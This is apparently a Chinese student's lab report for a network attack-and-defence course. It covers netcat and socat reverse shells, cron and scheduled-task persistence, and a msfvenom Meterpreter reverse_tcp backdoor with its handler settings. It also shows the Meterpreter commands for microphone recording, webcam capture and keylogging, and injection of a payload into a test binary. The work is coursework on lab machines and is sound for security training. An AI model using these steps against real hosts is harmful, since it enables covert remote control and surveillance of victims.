20222324 石国力 《网络与系统攻防技术》 实验二
1.实验内容
(1)使用netcat获取主机操作Shell,cron启动某项任务
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
2.实验过程
2.0关闭windows防火墙、实时保护
2.1使用netcat获取主机操作Shell,cron启动某项任务
2.1.1windows主机使用netcat并获取shell
查看windows主机ip(我是在两个教室做的,所以有两个IP地址):
第一次:
第二次:
windows主机监听8888端口:
kali虚机连接主机8888端口并执行shell:
在主机输入命令:
可以看到主机已成功获取虚拟机shell。
2.1.2通过设置cron使得kali启动定时任务
因为Windows不能直接使用crontab -e远程编辑,会报错;
所以我们进入虚拟机的虚拟机的root账户,输入crontab -e (执行文字编辑器来设定时程表),选择的是2
输入后进入文字编辑器,输入指令并退出
同时在Linux主机中的/var/spool/cron/crontabs文件中会出现一个root文件。
在主机中输入命令,写入定时任务指令,并查看时程表:
进入Linux虚拟机进入对应路径检查文件,发现修改成功。
定时任务执行成功!
2.2使用socat获取主机操作Shell, 任务计划启动
2.2.1
主机使用socat监听8888端口:
虚机连接主机8888端口:
可以看到虚机已经获取到windows主机shell。
PS:这里出现了乱码,我看到了刘品源同学的实验报告,成功解决了乱码。
2.2.2通过命令行创建任务计划,执行定时任务
编写c程序并编译为shiyan2.exe:
使用schtasks命令添加任务计划,每分钟执行一次编写的程序:
回到windows主机,打开任务计划程序库,看到正在运行的任务:
定时任务执行成功!
2.3使用MSF meterpreter生成可执行文件(后门),利用ncat传送到主机并运行获取主机Shell
查看虚机ip:
使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个可执行文件中:
LHOST=192.168.117.129是shell连接的主机 IP 地址,是虚拟机的IP地址;
LPORT=8888是监听的端口号;
-f exe指定了生成的 payload 的格式,这里是exe。
主机监听8888窗口等待接收可执行文件并将其存放在指定目录下:
虚机将生成的后门文件传给主机:
可以看到文件成功传输。
在Kali终端输入命令msfconsole,然后对监听模块进行配置:
use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 192.168.117.129 (攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888(监听的端口)
输入exploit,使监听模块开始运行,并在Windows终端运行后门2221backdoor.exe文件:
接着输入exploit,使监听模块开始运行,并在Windows终端运行后门2324backdoor.exe文件
返回检查虚拟机,输入ls查看windows主机目录。
确认已经连接。
2.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
在exploit模块中继续输入以下命令:
record_mic (音频)
screenshot (截屏)
webcam_snap (拍照)
keyscan_start (开始读取键盘记录)
keyscan_dump (读取键盘记录结束)
2.4.1获取目标主机音频、截屏、摄像头、键盘记录
在exploit模块中继续输入以下命令
2.4.2提权
2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
使用msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个20222324_pwn的文件中:
-p linux/x86/meterpreter/reverse_tcp:指定要生成的 payload 类型。
LHOST=192.168.117.129:目标主机 IP ,这里即虚拟机IP地址。
LPORT=8888:设置 Meterpreter shell 使用的本地端口号为 8888。
-x /home/kali/Document/pwn1:指定一个可执行文件作为模板,生成的 payload 将会注入到该文件中。
-f elf:指定输出文件的格式为 ELF 格式,适用于 Linux 系统的可执行文件格式。
输入指令msfconsole,配置监听过程并打开另一个shell,添加20222324_pwn的权限并运行
此时获取反弹连接Shell:
3.问题及解决方案
1.在运行后门时,系统提示程序被占用,无法执行。后面询问了同学,重启kali,再次运行backboor就可以了。
2.在任务二中,虚机连接主机8888端口,我出现了乱码现象,后面看了刘品源的实验报告,成功解决。
4.学习感悟、思考等
4.1问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
在盗版、第三方网站下载资源
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Windows:注册表启动:攻击者可以修改注册表的启动项,以使后门在系统启动时自动运行
Linux:修改 Cron 任务:通过 cron 配置定时任务,使后门定期执行
(3)Meterpreter有哪些给你映像深刻的功能?
摄像头访问:当时拍照给我吓了一跳。
键盘记录:可以捕获用户的键盘输入,可以获得密码。
(4)如何发现自己有系统有没有被安装后门?
使用安全工具扫描:使用杀毒软件或专业安全工具进行系统扫描,查找潜在的后门程序
检查启动项和服务
4.2实验感悟
在这次实验中,我可以使用netcat和socat获取主机操作Shell,并添加cron定时任务、使用schtasks命令添加任务计划,来远程执行程序。同时我也认识隐私泄露与权限窃取的风险之大,所以我们要增强我们的网络安全意识。